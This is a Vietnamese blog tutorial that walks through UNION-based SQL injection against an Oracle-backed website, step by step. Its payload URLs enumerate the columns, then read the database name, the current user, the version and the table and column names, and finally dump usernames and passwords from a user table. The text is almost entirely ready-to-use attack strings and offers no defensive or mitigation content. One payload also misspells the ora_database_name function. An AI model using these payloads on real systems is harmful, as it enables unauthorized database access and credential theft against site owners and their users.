Hướng dẫn thực hiện SQL injection đối với Oracle database


Cách thức SQL Injection với các cơ sở dữ liệu thông dụng như MySQL thì quá phổ biến rồi, hôm nay tôi sẽ hướng dẫn các bạn các lệnh cơ bản để tấn công SQL Injection với cơ sở dữ liệu dạng Oracle

Lỗi để nhận biết ra cơ sở dữ liệu đó là Oracle

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

Microsoft VBScript runtime error '800a01a8'


Website bị lỗi này là: www.vuln-web.com

Khi đã thấy có lỗi như trên, bước đầu tiên chúng ta dùng câu lệnh

order by

Câu lệnh này để xác định số lượng cột trong cơ sở dữ liệu. Tiến hành khai thác qua thanh address

www.vuln-web.com/photo.php?id=1' order by 1--

Thử lần lượt từ 1 đến 10

www.vuln-web.com/photo.php?id=1' order by 1--
www.vuln-web.com/photo.php?id=1' order by 2--
www.vuln-web.com/photo.php?id=1' order by 3--
www.vuln-web.com/photo.php?id=1' order by 4--
www.vuln-web.com/photo.php?id=1' order by 5--
www.vuln-web.com/photo.php?id=1' order by 6--
www.vuln-web.com/photo.php?id=1' order by 7--
www.vuln-web.com/photo.php?id=1' order by 8--
www.vuln-web.com/photo.php?id=1' order by 9--
www.vuln-web.com/photo.php?id=1' order by 10--

Tuy nhiên khi thử câu lệnh order by 10-- thì trang web không hoạt động, do đó ta xác định website có 9 cột

Với order 9-- thì trang web vẫn hiển thị

Do đó ta sẽ tiến hành khai thác qua câu lệnh này

www.vuln-web.com/photo.php?id=1' union select 1,2,3,4,5,6,7,8,9--

Báo lỗi rằng chưa chọn from từ đâu

Do đó ta tiến hành from theo cấu trúc của Oracle với câu lệnh

www.vuln-web.com/photo.php?id=1' union select 1,2,3,4,5,6,7,8,9 from dual--

Vẫn còn chưa chịu xuất hiện, tuy nhiên chúng ta đã from đúng rồi

Giờ tiếp tục thay thế các chữ số thành biến rỗng null

www.vuln-web.com/photo.php?id=1' union select null,null,null,null,null,null,null,null,null from dual--

Ok, bảng dữ liệu đã xuất hiện ra cho chúng ta tiếp tục khai thác

Ta sẽ thử thay một chuỗi vào để xuất ra màn hình xem thử, tôi thử với chuỗi '1111'

www.vuln-web.com/photo.php?id=1' union select '1111',null,null,null,null,null,null,null,null from dual--

Báo lỗi không thể hiển thị

Tôi lại tiếp tục thay thế chuỗi khác

www.vuln-web.com/photo.php?id=1' union select null,'2222',null,null,null,null,null,null,null from dual--

Ok, với chuỗi khác nó đã hiển thị

Giờ xác định tên database bằng 1 trong các lệnh sau

select ora_database_name from dual
select sys.database_name from dual
select global_name from global_name

Tôi thử dùng câu lệnh này

www.vuln-web.com/photo.php?id=1' union select null,ora.database_name,null,null,null,null,null,null,null from dual--

Ok, nó đã hiện ra

Tiếp tục chúng ta xem username là gì bằng câu lệnh :

select user from DUAL
select user from users

Tôi sử dụng câu lệnh này

www.vuln-web.com/photo.php?id=1' union select null,user,null,null,null,null,null,null,null from dual--

Ok, nó đã hiển thị

Để xem phiên bản thì dùng lệnh

select banner from v$version where rownum=1

www.vuln-web.com/photo.php?id=1' union select null,(select banner from v$version where rownum=1),null,null,null,null,null,null,null from dual

Ok, nó đã lòi mặt ra

Để xem tiếp tên bảng ta dùng lệnh

select table_name from all_tables

www.vuln-web.com/photo.php?id=1' union select null,table_name,null,null,null,null,null,null,null from all_tables--

Nó đã ra danh sách bảng

Tiếp tục để lấy được từng cột trong bảng ta dùng lệnh

select column_name from all_tab_columns where table_name='Your_Table_name_here'

Tôi sử dụng lệnh

www.vuln-web.com/photo.php?id=1' union select null,column_name,null,null,null,null,null,null,null from all_tab_columns where table_name='user_table'--

Bạn thấy gì rồi chứ ? Giờ get user + password thôi

select username||password from table_name_here

Câu lệnh cuối cùng để lòi ra thông tin

www.vuln-web.com/photo.php?id=1' union select null,username||password,null,null,null,null,null,null,null from user_table--


Hoàn tất !

Tác giả: MysTown
Copy vui lòng để lại nguồn

0 nhận xét